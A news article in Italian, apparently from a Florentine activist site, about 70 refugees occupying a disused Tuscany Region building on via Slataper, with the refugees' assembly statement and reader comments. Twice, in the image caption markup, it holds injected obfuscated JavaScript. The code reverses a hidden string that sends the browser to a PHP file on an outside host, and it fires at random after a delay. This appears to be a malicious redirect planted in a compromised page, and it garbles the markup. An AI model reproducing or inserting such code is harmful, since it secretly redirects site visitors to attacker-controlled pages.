Ripristino della legalità. Oggi è possibile per i 70 di via Slataper protetti dall’Onu

image_pdfimage_print
$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2011/05/slataper_bimba.jpg”>
Una madre con la figlia all'interno dello stabile della Regione Toscana occupato

di Riccardo Capucci

Sono partiti alle 10 da Piazza Tanucci, in ordine e determinati. Senza confusione hanno raggiunto in pochi minuti via Slataper. Al civico 2/8 hanno aperto il portone e hanno occupato una delle tante sedi della Regione Toscana, quella lasciata pochi giorni fa dalla direzione politiche ambientali ma che è ancora nella piena disponibilità dell’ente.

Ed è forse questo particolare che offrirà qualche giorno di tempo al gruppo di eritrei, etiopi e somali che chiedono assistenza e documenti di viaggio allo Stato italiano com’è loro diritto, visto che la maggioranza ha lo status di asilo politico o lo sta per ottenere. Una condizione che li mette sotto la protezione dell’Alto Commissariato Onu per i rifugiati.

Da oggi quindi le 70 persone che chiedono il rispetto dei loro diritti hanno un tetto sotto cui passare le notti. Alcuni cittadini di via Slataper, informati con un volantinaggio che spiega le ragioni dell’occupazione sostenuta dal Movimento di Lotta per la casa, hanno accolto senza inquietudine la novità. Alcuni membri del Cospe, la Ong per i diritti umani che ha sede proprio nel palazzo accanto a quello della Regione, si sono recati sul posto per esprimere solidarietà e “mettersi a disposizione”.

I consiglieri comunali Ornella De Zordo e Tommaso Grassi, presenti sul luogo, hanno mediato con i funzionari della Digos ottenendo che lo stabile non fosse sgomberato immediatamente in attesa che la Regione Toscana mostri attenzione anche verso questi profughi e non solo verso quelli inviati dal ministero dell’interno per risolvere la vicenda degli sbarchi a Lampedusa.

$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2011/05/slataper_edificio.jpg”>
L'edificio occupato

L’assessore regionale Salvatore Allocca ha quindi preso contatto con il questore e nei prossimi giorni convocherà un tavolo che auspichiamo risolva la vicenda nell’unico modo possibile: ripristinando la legalità nei confronti di questi 70 rifugiati con il diritto di essere accolti, di disporre dei documenti che gli spettano: per restare a Firenze, per viaggiare verso altre nazioni, per tornare nei loro paesi di origine nel momento in cui sarà possibile.

Oggi in via Slataper manca tutto. Chi avesse generi di conforto, cibo, coperte, materassi può portarle direttamente. Sarà ben accolto.

***

L’Assemblea dei Rifugiati politici somali eritrei e etiopi ha emesso sull’occupazione un comunicato insieme al Movimento di Lotta per la casa, il centro sociale NextEmerson, le Brigate di Solidarietà attiva Toscana. Ecco il testo integrale.

“Dopo una settimana estenuante, di rabbia e frustrazione, stamattina abbiamo di nuovo occupato uno dei tanti stabili dismessi di questa città. La nostra storia ormai è nota a tutti quelli che non vogliono far finta di non sentire, per una settimana abbiamo sperato anche in un solo piccolo segnale e abbiamo imparato invece quanto le Istituzioni fiorentine siano ciniche e incapaci. Di fronte a uomini donne e bambini che da mesi vivono per strada, Renzi non ha voluto neanche per un attimo scendere dal suo trono fatto di inutili frasi ad effetto. Siamo rifugiati politici, a tutti gli effetti cittadini italiani, tutelati dall’alto commissariato Onu per i Rifugiati. Abbiamo diritto a un tetto e a una vita dignitosa. Firenze si trova di fronte a una situazione grave, un’emergenza umanitaria a cui Renzi non ha voluto neanche provare a trovare una soluzione, offrendo solo un ottuso cinismo che dimostra quanto le amministrazioni siano lontane dalla vita reale che vivono i loro cittadini. Abbiamo subito tre sgomberi, siamo stati picchiati, umiliati, minacciati, sorvegliati costantemente come pericolosi criminali. Ancora una volta abbiamo dovuto fare da soli, ancora una volta insieme ai nostri amici italiani abbiamo dovuto trovare un modo per non rimanere in mezzo a una strada. In questa settimana siamo stati insieme, italiani e rifugiati, ci siamo conosciuti, abbiamo imparato ad autogestirci e ad affrontare collettivamente la situazione pesante in cui ci hanno lasciato. Questa accoglienza, fatta di carne ed ossa, di condivisione e solidarietà vera, ci ricompensa di tutta la brutale indifferenza ingoiata in questi mesi. Invitimo tutti e tutte a venirci a trovare alla nuova occupazione di via Slataper, vicino a piazza Tanucci. Abbiamo bisogno di tutto, soprattutto della vostra vicinanza e solidarietà.”

0 Comments

  1. Marvin

    Vedo che però su FB siete amici si “sostieni Firenze Rizzati”, associazione che non è che proprio tuteli i più deboli… Per loro poveri o spazzatura sono uguali elementi di degrado…

    Reply
    1. red

      Caspita Marvin, meno male che ce lo hai segnalato! l’abbiamo rimossa immediatamente. Sai come funziona con gli “amici” di Facebook… Grazie.

      Reply

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *